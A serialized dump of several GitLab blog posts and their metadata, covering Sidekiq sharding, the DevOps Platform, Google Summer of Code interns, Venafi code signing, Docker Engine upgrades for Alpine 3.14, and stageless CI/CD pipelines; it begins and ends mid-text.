[batches](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1074#migration-phases) using [Feature Categories](https://docs.gitlab.com/ee/development/feature_categorization/) as a relatively simple way to select groups of related workers. After selecting the groups, we built them up from batches with small groups of low-use categories with lots of classes but not many jobs per second to single feature categories at the end. `Continuous_integration` (18% of catchall shard jobs) and `integrations and `source_code_management` are each generating about 30% of catch-all shard jobs. We gained confidence in the queue-handling as this progressed, and gave ourselves plenty of opportunity to gather data and pause if necessary.\n\nAt each stage we stopped listening to several 10s of queues from our catchall Kubernetes deployment, and gradually saw the CPU\nsaturation on Redis drop. After finally shutting down Sidekiq on our (now legacy) virtual machines, we've reached a\nfinal state where at peak times CPU on Redis reaches only around 75%, down from peaks of 95% or higher:\n\n![Reduced CPU usage in Redis](https://about.gitlab.com/images/blogimages/sidekiq-2021/cpu-then-vs-now.png){: .shadow.medium.center}\nReduced CPU usage in Redis\n{: .note.text-center}\n\n### What will we do next?\n\nFirst, we need to finish the [one-queue-per-shard migration](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/469)\nfor all the other shards, aside from catchall. These shards won't have the same level of impact because they run far\nfewer queues than catchall, but will lead to a consistent job routing strategy. In the long term, Redis\nwill eventually become the bottleneck again, and we're going to have to either split Sidekiq into multiple fleets, or change\nto something architecturally different. Multiple fleets has some challenges, but means we can keep using the existing\ntechnologies we have invested time and tooling in (including Omnibus for self-managed deployments). But given the\nbottleneck is still eventually going to be Redis CPU, this might well be the time to look at other job processing\nparadigms.\n\n_In our next blog post, we explain how you can take what we learned about configuring Sidekiq for GitLab.com and apply it to your own large instance of GitLab._\n\nCover image by [Jerry Zhang](https://unsplash.com/@z734923105) on [Unsplash](https://www.unsplash.com)\n",{"slug":17502,"featured":6,"template":678},"specialized-sidekiq-configuration-lessons-from-gitlab-dot-com","content:en-us:blog:specialized-sidekiq-configuration-lessons-from-gitlab-dot-com.yml","Specialized Sidekiq Configuration Lessons From Gitlab Dot Com","en-us/blog/specialized-sidekiq-configuration-lessons-from-gitlab-dot-com.yml","en-us/blog/specialized-sidekiq-configuration-lessons-from-gitlab-dot-com",{"_path":17508,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17509,"content":17514,"config":17518,"_id":17520,"_type":16,"title":17521,"_source":17,"_file":17522,"_stem":17523,"_extension":20},"/en-us/blog/the-journey-to-a-devops-platform",{"title":17510,"description":17511,"ogTitle":17510,"ogDescription":17511,"noIndex":6,"ogImage":12283,"ogUrl":17512,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17512,"schema":17513},"The journey to a DevOps Platform","Understand the history of DevOps or be doomed to repeat it. Here's why the journey has been so painful and how a DevOps Platform will help.","https://about.gitlab.com/blog/the-journey-to-a-devops-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The journey to a DevOps Platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cormac Foster\"}],\n        \"datePublished\": \"2021-09-02\",\n      }",{"title":17510,"description":17511,"authors":17515,"heroImage":12283,"date":17499,"body":17516,"category":962,"tags":17517},[16704],"\n\nIn a recent blog post [about the importance of a DevOps Platform](/blog/welcome-to-the-devops-platform-era/), GitLab CEO Sid Sijbrandij outlined four phases through which organizations frequently travel as their practice matures. It’s a painful journey we see again and again when we meet new customers. It spans every industry and every company size, and it’s the most mature DevOps teams with the most at stake who’ve felt the most pain. \n\nHistorically, if you wanted DevOps to work, you had to be prepared to pay for it. Just managing the backbone of DevOps – the toolchain -– has been a grind. Your “Jenkins Team,” your “GitHub Team,” or even, as one of our customers described, your “Duct Tape Team” (designed to hold it all together and patch holes), added no end value beyond keeping everything from falling apart. That’s a lot of investment to keep the lights on.\n\nIt’s a hard commitment to swallow, and the truth of it is that you shouldn’t have had to. A big part of the problems behind many “low-performing DevOps teams” stems from a poor set of tools for the job. Broadly put, on behalf of the DevOps tool industry: It’s not you, it’s us. The industry created many of these problems because we were thinking small and building to match.\n\n\nAs a philosophy, DevOps is pretty new, and it’s evolved very quickly. That rapid evolution has meant tremendous transformational opportunity, but building for the present left many tools, and the processes behind them, obsolete as soon as they hit the market. \n\nDevOps toolmakers have long been focused on solving discrete, easily understood problems (“BYO DevOps” in Sid’s blog), while DevOps has always aimed at solving bigger problems and looked to a more collaborative, productive transformation. You knew that when you tried to calm the chaos by implementing standards (BIC DevOps). You knew that when you tried to Frankenstack those tools into a servant of your larger ambitions with DIY DevOps integrations. But in the end, tools were creating almost as much work as they automated.\n\nIt makes sense when requirements are evolving so quickly. In 2011, when GitLab offered just a repository and issues, we couldn’t have foreseen [Design Management](https://docs.gitlab.com/ee/user/project/issues/design_management.html) or [ML Ops](/handbook/engineering/incubation/mlops/), but ten years later, they’re a key components of a movement toward a DevOps Platform for everyone. And that’s the point of the DevOps Platform Era (Phase 4). We’ve iterated our way to a place where we can replace blockers with enablement, and \\*support\\* your efforts instead of increasing your burden.\n\n**[Stop paying the “DevOps tax” by moving to a DevOps Platform. [Here’s how](/topics/devops/use-devops-platform-to-avoid-devops-tax/)]**\n\nThis isn’t unexpected. Every technology reaches this inflection point as it evolves. In the not-too-distant-past, customer relationship management (CRM) required a portfolio of sales force automation and marketing automation tools, commerce engines, app servers, analytics engines, and huge amounts of data integration to make it work. Now we have SaaS-based CRM solutions with a single monthly fee.\n\nWhile GitLab has always focused on delivering a DevOps Platform as a single application, we're excited to see the industry as a whole shift to a platform mindset. Late last year, Gartner released its vision of the [DevOps Value Stream Delivery Platform](/solutions/value-stream-management/) in a new [Market Guide](https://page.gitlab.com/resources-report-gartner-market-guide-vsdp/), in which we’re happy to be a representative vendor, and we’re excited to watch their coverage grow.\n\n**[Make [the most out of your DevOps platform](/topics/devops/seven-tips-to-get-the-most-out-of-your-devops-platform/)]**\n\nWe’re also excited to hear how a DevOps Platform benefits our customers in concrete ways. In our [2021 DevSecOps Survey](/developer-survey/), respondents told us a DevOps Platform resulted in better DevOps, improved collaboration, easier automation and expanded visibility and traceability. Or, as one survey taker said, a DevOps Platform “gives us reduced mean time to recovery (MTTR), quicker time to market, reduced lead time for fixes, and fewer change failures.”\n\nDevOps hasn’t stopped evolving, and neither have we, but we’ve reached the point where we know how the pieces need to work together, and we’ve built a platform to support it. To see for yourself, [try GitLab Ultimate for free](/free-trial/)!\n\n## Read more about the DevOps Platform:\n\n- [How ten steps over ten years led to the DevOps Platform](/blog/how-ten-steps-over-ten-years-led-to-the-devops-platform/)\n\n- [Making the case for a DevOps platform: What data and customers say](/blog/making-the-case-for-a-devops-platform-what-data-and-customers-say/)\n\n- [Agile planning with a DevOps platform](/blog/agile-planning-with-a-devops-platform/)\n\n- [Welcome to the DevOps Platform era](/blog/welcome-to-the-devops-platform-era/)\n\n- [It's time to build more accessible software. A DevOps platform can help](/blog/how-the-devops-platform-makes-building-accessible-software-easier/)\n\n",[4103,2705,754],{"slug":17519,"featured":6,"template":678},"the-journey-to-a-devops-platform","content:en-us:blog:the-journey-to-a-devops-platform.yml","The Journey To A Devops Platform","en-us/blog/the-journey-to-a-devops-platform.yml","en-us/blog/the-journey-to-a-devops-platform",{"_path":17525,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17526,"content":17532,"config":17538,"_id":17540,"_type":16,"title":17541,"_source":17,"_file":17542,"_stem":17543,"_extension":20},"/en-us/blog/gsoc-at-gitlab",{"title":17527,"description":17528,"ogTitle":17527,"ogDescription":17528,"noIndex":6,"ogImage":17529,"ogUrl":17530,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17530,"schema":17531},"Google Summer of Code at GitLab – some intern highlights","GitLab team members mentored student interns and helped them develop open source projects during Google Summer of Code.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682129/Blog/Hero%20Images/gsoc_cover.jpg","https://about.gitlab.com/blog/gsoc-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Google Summer of Code at GitLab – some intern highlights\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aakriti Gupta\"}],\n        \"datePublished\": \"2021-09-01\",\n      }",{"title":17527,"description":17528,"authors":17533,"heroImage":17529,"date":17535,"body":17536,"category":299,"tags":17537},[17534],"Aakriti Gupta","2021-09-01","\n\nGitLab participated in [Google Summer of Code](https://summerofcode.withgoogle.com/) for the first time this year. We hosted four student interns to work with us on four different projects under the supervision of two or three mentors each.\n\nFor the past 16 years, Google has hosted the Summer of Code to introduce students to the world of open source. Over the summer, student interns work on a project with an open source organization and are closely mentored by the developers of the open source project. More than [200 organizations](https://summerofcode.withgoogle.com/organizations/) participated this year.\n\nWe started off the summer with a two-week long community bonding period to get our students familiar with how we work at GitLab and helped them set-up their local development environments. During the 10-week program we worked through scoped projects with regular check-ins and [a final demo](https://youtu.be/--Neg5pwwnI) to conclude the program.\n\n## Meet the students\n\n### Alejandro Rusi\n[Alejandro](https://gitlab.com/rusi-ruse), a CS student from Argentina, worked on [enabling Courseware as Code](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/gitlab-gsoc-2021/-/issues/4) through his project. Check out his [video presentation here](https://youtu.be/qgQQ4MgnKR4) and read [more about the project here](https://alejandro-rusi.gitlab.io/2021/05/31/toward-courseware). Alejandro said:  \n\n> They quickly made me feel welcome and part of Gitlab. All of the topics to choose from were very interesting, and all mentors seemed great.\n>\n> I would like to highlight a moment during GSoC where I wasn't able to do my normal workload due to a personal problem, and my mentors where incredibly supportive and understanding.\n\n### Anshuman Singh\n\n[Anshuman](https://gitlab.com/singhanshuman), a CS student who joined us from India, collaborated with the Static Analysis team to work on [writing vulnerability detection rules  for SAST](https://gitlab.com/groups/gitlab-org/-/epics/6089). Anshuman said: \n\n> For a beginner, it is normal to feel insecure about achieving specified tasks in your group.\n>\n> I am glad that my mentors Julian and Ross were there at every step of the program to provide support and clear my doubts about anything. It was such an enriching experience for me. I am glad to be the part of GitLab for this Google Summer of Code edition. :)\n\n### Cyrine Gamoudi\n\nA computer engineering student from Tunisia, [Cyrine](https://gitlab.com/CyrineG1) worked with the Static Analysis team on [porting SAST and Secret Detection rails platform code to GitLab CE](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/gitlab-gsoc-2021/-/issues/6).\n\n> The project went very smoothly. I was able to achieve almost all of the planned milestones and I'm currently still in contact with my mentors, working on what was left. I enjoyed getting an inside look into how open source projects are maintained as well as how they evolve through time. It was also interesting to see the impact of historical architectural decisions on what could and could not be done later on.\n\n### Shubham Kumar\n\nNow in his final year of schooling, [Shubham](https://gitlab.com/imskr) from India helped the Geo team [improve our backup and restore features](https://shubhamkumar.live/blog/Improving-Backup-and-Restore-For-GitLab-GSoC-2021/).\n\n> Mentorship was amazing. Mentors helped me a lot whenever I had problem. Contributing to GitLab is very welcoming. I absolutely loved it.\n\n## GitLab mentors share their thoughts \n\n### What went well?\n\n- External organization\n  - The folks at Google were well organized, the entire schedule was available right at the beginning and the reminder emails were very informative and well timed.\n  - We used it to create our own calendar and that was very helpful.\n- Asynchronous working style\n\n> Having recorded meetings and an agenda doc was really helpful, especially for cases where one mentor went on holidays it was easy to catch up on things. Writing up a planning epic with our student Anshuman was really helpful to make sure that we were on the same page and to clearly define the project deliverables. - [Julian Thome](/company/team/#julianthome), senior vulnerability research engineer at GitLab. \n>\n> Related to this, GitLab's default mode of working that favors asynchronous communication and the written form feels very well-aligned with GSoC and working across time zones. Even without a large amount of overlap between working for myself and our mentee, it felt very effective and like we had a strong foundation in place to support communication and workflows (just point to our existing handbook and docs). - [Lucas Charles](/company/team/#theoretick), staff backend engineer, Secure, at GitLab.\n\n  - It was really useful to have two mentors on the project. This way it was easier sharing responsibilities and managing other priorities, especially when one mentor was out.\n\n### What could be improved? \n\n- We had considerable engagement on the project proposal issues but not as many applications.\n- GitLab is huge and a complex object model for students to hold onto.\n- Running GitLab locally requires a lot of resources.\n- The fork contribution model wasn't efficient for some projects.\n\n\n- Define the required skills for the project better\n> Since GSoC is 10 short weeks, making sure that the student has acquired all the required skills for the project before it starts would have allowed us to reduce the overall mentoring workload and to use mentoring time more efficiently by focusing on the project objectives. Next year, we can make better use of the \"Community Bonding\" period by giving the students more guidance and some time upfront to learn the required technologies/languages so that they are fully prepared before the coding phase begins. -  Julian\n\n- A clear \"victory task,\" possibly in the frontend, would have made some of the projects more \"visible\" and would have felt more complete.\n\n## Wrapping up\n\n[Tetiana Chupryna](/company/team/#brytannia), senior backend engineer, Secure, at GitLab sums up the experience of the mentors really well: \n\n> This program gave me a feeling of deep fulfilment as I was able to look at GitLab through the eyes of a community contributor and I hope that this project was useful for our student in her career, and she will return to GitLab one day as a contributor (we were lucky to have her on this project). So it was a summer well spent 🍎.\n\nWe hope GitLab can be back at Google Summer of Code next year!\n\n[Cover image](https://unsplash.com/photos/7RQf2X6aXXI) by [Raphaël Biscaldi](https://unsplash.com/@les_photos_de_raph)\n{: .note}\n\n",[267,2704,923,815,3798],{"slug":17539,"featured":6,"template":678},"gsoc-at-gitlab","content:en-us:blog:gsoc-at-gitlab.yml","Gsoc At Gitlab","en-us/blog/gsoc-at-gitlab.yml","en-us/blog/gsoc-at-gitlab",{"_path":17545,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17546,"content":17552,"config":17558,"_id":17560,"_type":16,"title":17561,"_source":17,"_file":17562,"_stem":17563,"_extension":20},"/en-us/blog/secure-pipeline-with-single-sign-in",{"title":17547,"description":17548,"ogTitle":17547,"ogDescription":17548,"noIndex":6,"ogImage":17549,"ogUrl":17550,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17550,"schema":17551},"How to secure your software build pipeline using code signing","The Venafi plugin for GitLab enables single sign-on and digital signatures to better secure your app.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682125/Blog/Hero%20Images/venafi_coverimage.jpg","https://about.gitlab.com/blog/secure-pipeline-with-single-sign-in","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to secure your software build pipeline using code signing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Eddie Glenn\"}],\n        \"datePublished\": \"2021-08-30\",\n      }",{"title":17547,"description":17548,"authors":17553,"heroImage":17549,"date":17555,"body":17556,"category":674,"tags":17557},[17554],"Eddie Glenn","2021-08-30","\n\nIf there is one thing that recent cyberattacks at companies such as SolarWinds, Codecov, and Kaseya have taught us, it's that software build pipelines are being targeted for attacks more than ever before. Hackers are no longer just attacking the bits and bytes of source code that go into our products, but also the development, testing, and build infrastructure tools that are used to build these products.\n\nEven if you believe your company is at low risk of an attack, it's also important to think about your customers. Businesses with high profile customers – like government agencies or large, multinational corporations that use your products – might have attackers target them by hacking your company, or more specifically, the software you provide them.\n\nThe incidents at Solarwinds, Codecov, and Kaseya show that traditional approaches to security are often failing to prevent attacks. Instead of targeting the software that these companies used, attackers targeted software developed by these companies. Hackers may be targeting the source code you write, the open source code your team uses, and the development tools that you rely on. This is why companies like Venafi and GitLab are partnering to make it easier for developers to prevent attacks and make software supply chains more secure.\n\nAt [Venafi](https://www.venafi.com/), we believe that a new approach is necessary to secure the software supply chain, especially in the development stage. We also believe it is imperative that engineers incorporate more security controls in the development, build, test, and delivery pipelines.\n\nNo single security measure can prevent future attacks. Instead, engineers must adopt multiple software development measures, including a change in mindset about the security of the development infrastructure and who has the ultimate responsibility. Any lasting solution requires collaboration between industry leaders in software development, software security, and application provisioning, but successful collaboration must be led from an engineering-first perspective.\n\n![How Venafi secures software build pipelines with code signing](https://about.gitlab.com/images/blogimages/venafi_image.jpg){: .shadow.center}\nSecure modern software build pipelines with code signing.\n{: .note.text-center}\n\nOne effective approach software teams can take is to 'sign early, sign often' on all artifacts used by the software build process. A digital signature is an electronic signature that is used to authenticate the identity of the individual or organization that signed a file (for example a program, a document, etc). The digital signature will also make sure that the original content of the file has not been changed. While most people think of digitally signing (code signing) program executables (because operating systems often require it), digital signatures can be applied to any intermediate artifact like source code, build scripts, recipes, deployment containers, and third-party tools used by the development team.\n\nCode signing uses cryptographic hashing that can validate the authenticity of software and ensure the integrity of code by verifying it has not been tampered with since being published. Code signing plays an important role in verifying the integrity of software used or distributed by organizations and individuals.\n\n## Why sign early & often?\n\nEven if you've checked in a piece of source code to your repository, anyone else could alter that source code later – perhaps even someone pretending to be you. But if the source code was digitally signed, then a malicious actor could not introduce a change without also obtaining the digital code signing key used.\n\nAnother scenario to consider is if a development team member downloads the latest version of a third-party app but doesn't run it through your security team's protocols first. If the app contains malware, then your build system was just infected. By ensuring that only authorized versions of tools, libraries, and source code (which have passed security checks) are digitally signed by your company, sources of malware can be minimized.\n\nNow consider automated build infrastructure, such as GitLab. If your pipeline doesn't require digital signatures of all artifacts used to build your products, then anyone could slip in a malicious change that is incorporated automatically, producing a malware-infected executable that could be delivered to your customers.\n\n### It's convenient for developers\n\nIt's easy enough to say 'sign early & often'. But, why aren't more development teams doing it? It's actually pretty simple to invoke a command line code signing tool such as 'jarsigner' or 'signtool'.\n\n### The devil is in the details\n\nManaging PKI, managing code signing certificates, and configuring encryption keys is complicated. Code signing done incorrectly is simply not effective. Also, most code signing tools require easy access to the encryption private key, ending up on the build server or a developer's laptop. Here, hackers have easy access to misuse them.\n\nThe code signing process must also be convenient for developers. One way to make things easy on developers is to integrate code signing tools with the technology they use every day, like GitLab. We've found that if code signing technology is difficult, inconvenient, or in any way slows down a build pipeline, developers will avoid it.\n\nFinally, if code signing is to be used as a security measure, your company's security teams need visibility into the process and the ability to define security policies.\n\nVenafi and GitLab partnered together to make it easy for developers to sign source code and other artifacts, all from within your GitLab environment.\n\n## About Venafi CodeSign Protect\n\nVenafi CodeSign Protect is a unique solution that focuses on both the needs of software development teams as well as security teams. Venafi is integrated within the GitLab environment so developers can easily sign their source code and other build artifacts without needing to know anything about PKI, code signing certificates, or code signing keys.\n\n### It's time to shift left\n\n'Shift-left' type of attacks are the new generation of cyberattacks. Today, hackers are sophisticated software developers that target build infrastructure. This is why it is essential that engineering teams take action using security measures like code signing.\n\n## What's next?\n\nVenafi and GitLab can help you avoid these costly incidents. Start by reading this brief to learn more about [Securing Code Signing in CI/CD Pipelines](https://www.venafi.com/resource/Codesigning-CI-CD-pipelines). Then visit the Venafi Marketplace to download [Venafi and Gitlab Plugins](https://marketplace.venafi.com/apps/?query=Gitlab), all ready for deployment.\n\n## Watch the demo\n\nMore of a video person? Watch the demo on how to implement code signing using GitLab and Venafi.\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/F2IonOX2rOo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[674],{"slug":17559,"featured":6,"template":678},"secure-pipeline-with-single-sign-in","content:en-us:blog:secure-pipeline-with-single-sign-in.yml","Secure Pipeline With Single Sign In","en-us/blog/secure-pipeline-with-single-sign-in.yml","en-us/blog/secure-pipeline-with-single-sign-in",{"_path":17565,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17566,"content":17571,"config":17577,"_id":17579,"_type":16,"title":17580,"_source":17,"_file":17581,"_stem":17582,"_extension":20},"/en-us/blog/its-time-to-upgrade-docker-engine",{"title":17567,"description":17568,"ogTitle":17567,"ogDescription":17568,"noIndex":6,"ogImage":9591,"ogUrl":17569,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17569,"schema":17570},"It's time to update Docker Engine","Now that Alpine Linux 3.14 is being used by more images, it's time to upgrade Docker Engine to 20.10.6 or newer.","https://about.gitlab.com/blog/its-time-to-upgrade-docker-engine","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"It's time to update Docker Engine\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tomasz Maczukin\"}],\n        \"datePublished\": \"2021-08-26\",\n      }",{"title":17567,"description":17568,"authors":17572,"heroImage":9591,"date":17574,"body":17575,"category":734,"tags":17576},[17573],"Tomasz Maczukin","2021-08-26","\n\n[Alpine Linux](https://alpinelinux.org/) distribution is the base OS used by many Linux container images. It provides a handy packaging mechanism, new versions of software, and a quick and predictable release cycle – all while being distributed using a minimal image size. It's used by many very popular container images, for example `docker:dind`,\n[widely used in GitLab CI/CD workloads](https://docs.gitlab.com/ee/ci/docker/using_docker_build.html) handling container\nimages building and management in the jobs.\n\nOn June 15, 2021, Alpine Linux released version 3.14. [As documented in the release notes](\nhttps://wiki.alpinelinux.org/wiki/Release_Notes_for_Alpine_3.14.0#faccessat2), changes in the `musl` library require\nan updated version of [runc](https://github.com/opencontainers/runc) or updated version of\n[Docker](https://github.com/moby/moby) for the Alpine 3.14-based images to work properly.\n\nSoftware products across the computer industry have started migrating their Alpine Linux-based container images to 3.14 since it includes significant updates for various network and security-oriented use cases. In cases where the GitLab Runner environment uses a Docker version older than 20.10.6 to handle new container images based on Alpine 3.14, CI/CD jobs may encounter unexpected problems during execution and cause jobs to fail.\n\n[We encountered this problem](https://gitlab.com/gitlab-org/gitlab/-/issues/335641) at GitLab a few weeks ago, when\nthe `ruby:2.7` image was migrated to use Alpine Linux 3.14 as the base. We used a quick workaround to unlock our\npipelines by explicitly tagging the Alpine 3.13 version of the image (fortunately, it was provided!). To fully\nresolve the problem for all GitLab.com users who use our instance runners, we pushed forward an update to our autoscaled\nVMs base image, which included an update of Docker Engine.\n\n\nOne of the popular and widely used container images that is migrating to Alpine 3.14 [are the `docker` and \n`docker:dind` images](https://github.com/docker-library/docker/pull/317).\nWhat's important is the change will rebuild\nand re-push the existing specific images for supported versions, like `docker:20.10-dind`. This means users\nwho pinned their version of the Docker-in-Docker service in their `.gitlab-ci.yml` files will still get the image\nversion updated to Alpine 3.14. Using a Docker Engine older than 20.10.6 will probably create\nproblems for the user.\n\n## What's the solution?\n\nThe real solution is to upgrade the execution environment accordingly to Alpine's release notes, which state:\n\n> Therefore, Alpine Linux 3.14 requires **at least one** of the following:\n>\n> 1. runc v1.0.0-rc93\n>    - If using Docker's Debian repositories, this is part of containerd.io 1.4.3-2\n>    - If using Docker Desktop for Windows or Mac, this is part of Docker Desktop 3.3.0\n> 1. Docker 20.10.0 (which contains [moby commit a181391](https://github.com/moby/moby/commit/a18139111d8a203bd211b0861c281ebe77daccd9))\nor greater, **AND** libseccomp 2.4.4 (which contains backported [libseccomp commit 5696c89](https://github.com/seccomp/libseccomp/commit/5696c896409c1feb37eb502df33cf36efb2e8e01))\nor greater. In this case, to check if your host libseccomp is faccessat2-compatible, invoke\n`scmp_sys_resolver faccessat2`. If `439` is returned, faccessat2 is supported. If `-1` is returned, faccessat2 is not\nsupported. Note that if runc is older than v1.0.0-rc93, Docker must still be at least version 20.10.0, regardless of\nthe result of this command.\n> 1. As a workaround, in order to run under old Docker or libseccomp versions,\n[the moby default seccomp profile](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) should be\ndownloaded and on line 2, `defaultAction` changed to `SCMP_ACT_TRACE`, then `--seccomp-profile=default.json` can be\npassed to dockerd, or `--security-opt=seccomp=default.json` passed to `docker create` or `docker run`. This will cause\nthe system calls to return ENOSYS instead of EPERM, allowing the container to fall back to faccessat.\n>\n> Note: When using nested Docker, **every layer** must meet one of the above requirements, since if\n**any layer** improperly denies the use of faccessat2, Alpine Linux 3.14 will not function correctly.\n\nThere are several ways to solve this problem, but since they depend on a specific configuration, users need to choose the solution that best matches their environment.\n\nAlthough the [release notes](https://wiki.alpinelinux.org/wiki/Release_Notes_for_Alpine_3.14.0#faccessat2) mentions Docker 20.10.0, (which brings some needed changes), the release notes also mention that the updated version of libseccomp must be used in this case. For environments that use Docker Engine on Linux, these criteria should be met by Docker Engine 20.10.6 and higher.\n\nThe requirement for nested Docker environments (which in case of GitLab CI/CD mostly means\nthe Docker-in-Docker based jobs) to work properly with images based on Alpine Linux 3.14, both the Docker\nEngine on Runner's host **AND** the `docker:dind` image must be updated to at least 20.10.6.\n\nTo summarize:\n\n1. Users **using images** based on Alpine Linux 3.14 for their job execution (read: as the value of `image:` or\n`services:` keywords in `.gitlab-ci.yml`) must update Docker Engine on their hosts to version 20.10.6 or higher.\n\n1. Users **building images** based on Alpine Linux 3.14 using the Docker-in-Docker approach (read: using\n`services: [docker:X.Y-dind]` and `script: [..., docker build -t my/image ., ...]` in `.gitlab-ci.yml`) must\nalso update the `docker:dind` image version to `docker:20.10.6-dind` or higher.\n\n**For users of GitLab.com instance-level Runners, the upgrade of Docker Engine was completed a few weeks ago. Still, users likely need to update the used Docker-in-Docker service to `docker:20.10.6-dind` or higher.**\n\n## Some temporary workarounds\n\nSince the update of Docker Engine may not be easy in some environments, the only known workaround is to pin used\nimages to versions using Alpine Linux 3.13. As you can see in the [Docker library issue](https://github.com/docker-library/docker/pull/317#issuecomment-880140631), many projects have already found this\nis a problem for their users and provided the versions of images tagged with `-alpine3.13` suffix.\n\nThe Docker-in-Docker case described in this post [was done quite recently](https://github.com/docker-library/docker/pull/327).\nUsers who can't update the Docker Engine on the Runner host or for Docker-in-Docker can temporarily solve\nthe problem by using for example `services: [docker:19.03.15-dind-alpine3.13]`.\n\nRemember that this is only a temporary solution. For example, the official `docker` image\n[have already abandoned the 19.03 line](https://github.com/docker-library/docker/pull/329) and new images for `19.03.x` will\nnot be released.\n\nThe only real, long-term solution is to plan and maintain the upgrade. \n\n",[110,923],{"slug":17578,"featured":6,"template":678},"its-time-to-upgrade-docker-engine","content:en-us:blog:its-time-to-upgrade-docker-engine.yml","Its Time To Upgrade Docker Engine","en-us/blog/its-time-to-upgrade-docker-engine.yml","en-us/blog/its-time-to-upgrade-docker-engine",{"_path":17584,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17585,"content":17591,"config":17596,"_id":17598,"_type":16,"title":17599,"_source":17,"_file":17600,"_stem":17601,"_extension":20},"/en-us/blog/stageless-pipelines",{"title":17586,"description":17587,"ogTitle":17586,"ogDescription":17587,"noIndex":6,"ogImage":17588,"ogUrl":17589,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17589,"schema":17590},"Write a stageless CI/CD pipeline using GitLab 14.2","With GitLab 14.2, you can write a complete CI/CD pipeline without defining any stages.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679507/Blog/Hero%20Images/ci-cd.png","https://about.gitlab.com/blog/stageless-pipelines","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Write a stageless CI/CD pipeline using GitLab 14.2\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dov Hershkovitch\"}],\n        \"datePublished\": \"2021-08-24\",\n      }",{"title":17586,"description":17587,"authors":17592,"heroImage":17588,"date":17593,"body":17594,"category":734,"tags":17595},[902],"2021-08-24","\n\nGitLab CI/CD technology has historically divided a pipeline into stages based on the typical development workflow. Now that [GitLab 14.2 has launched](/releases/2021/08/22/gitlab-14-2-released/), users can speed up cycle times by using the [`needs`](https://docs.gitlab.com/ee/ci/yaml/#needs) command to write a complete CI/CD pipeline with every job in the single stage. In fact, you can omit stages completely and have a [\"stageless\" pipeline](https://about.gitlab.com/releases/2021/08/22/gitlab-14-2-released/#stageless-pipelines) that executes entirely based on the `needs` dependencies.\n\n## Understanding stages\n\nIn GitLab CI/CD, you use [stages](https://docs.gitlab.com/ee/ci/yaml/#stages) to group jobs based on the development workflow and control the order of execution for CI/CD jobs.\n\nPipelines execute each stage in order, where all jobs in a single stage run in parallel. After a stage completes, the pipeline moves on to execute the next stage and runs those jobs, and the process continues like this until the pipeline completes or a job fails. If a job fails, the jobs in later stages don't start at all.\n\n## History of stages in GitLab CI/CD\n\nWhen we first designed GitLab CI/CD, we knew that in a continuous integration workflow you build and test software every time a developer pushes code to the repository. The use of stages in GitLab CI/CD helped establish a mental model of how a pipeline will execute. By default, stages are ordered as: `build`, `test`, and `deploy` - so all stages execute in a logical order that matches a development workflow. The first step is to build the code, and if that works, the next step is to test it. If the tests pass, then you deploy the application.\n\nOf course, you can actually create as many stages as you like and order them as desired. We also introduced the `.pre` and `.post` stages which are predefined stages that let you set certain jobs to always run at the beginning (`.pre`) or end (`.post`) of your pipeline. GitLab CI/CD used stages for the past few years.\n\n## Starting to break out of stage order\n\nLast year we introduced the [`needs`](https://docs.gitlab.com/ee/ci/yaml/#needs) keyword which allows a user to create a Directed Acyclic Graphs (DAG) to speed up the pipeline. A job that uses the `needs` keyword creates a dependency between it and one or more different jobs in earlier stages. The job is allowed to start as soon as the earlier jobs finish, skipping the stage order to speed up the pipeline.\n\nIn a sense, you can think of a pipeline that only uses stages as the same as a pipeline that uses `needs` – except every job \"needs\" every job in the previous stage. On the other hand, if jobs in a pipeline *do* use `needs`, they only \"need\" the exact jobs that will allow them to complete successfully. They shouldn't need all the jobs in the previous stage. For example, there's no need for a ruby test job to wait for a javascript linter to complete.\n\n## Stageless pipelines become reality\n\nThe `needs` keyword quickly became popular among our users and helped optimize and accelerate CI/CD pipelines. However it had one limitation: A `needs` dependency could only exist between the jobs in different stages. This limitation was a pain point for our users because they wanted to configure the pipeline based on the `needs` dependencies only and drop the use of stages completely. The importance of adding this functionality became clear because this was one of the most popular [feature requests](https://gitlab.com/gitlab-org/gitlab/-/issues/30632) for GitLab CI/CD.\n\nNow in GitLab 14.2, [you can finally define a whole pipeline using nothing but `needs` to control the execution order](/releases/2021/08/22/gitlab-14-2-released/#stageless-pipelines). No more need to define any stages if you use `needs`!\n\n## Are we getting rid of stages?\n\nNo, we do not have any plans to remove stages from our GitLab CI/CD, and it still works great for those that prefer this workflow.\n\nIn fact if you build a \"stageless\" pipeline, there will still be at least one stage that holds all the jobs. Removing stages was never the goal. Our goal is still to support you in building better and faster pipelines, while providing you with the high degree of flexibility you want.\n\nAs always, share any thoughts, 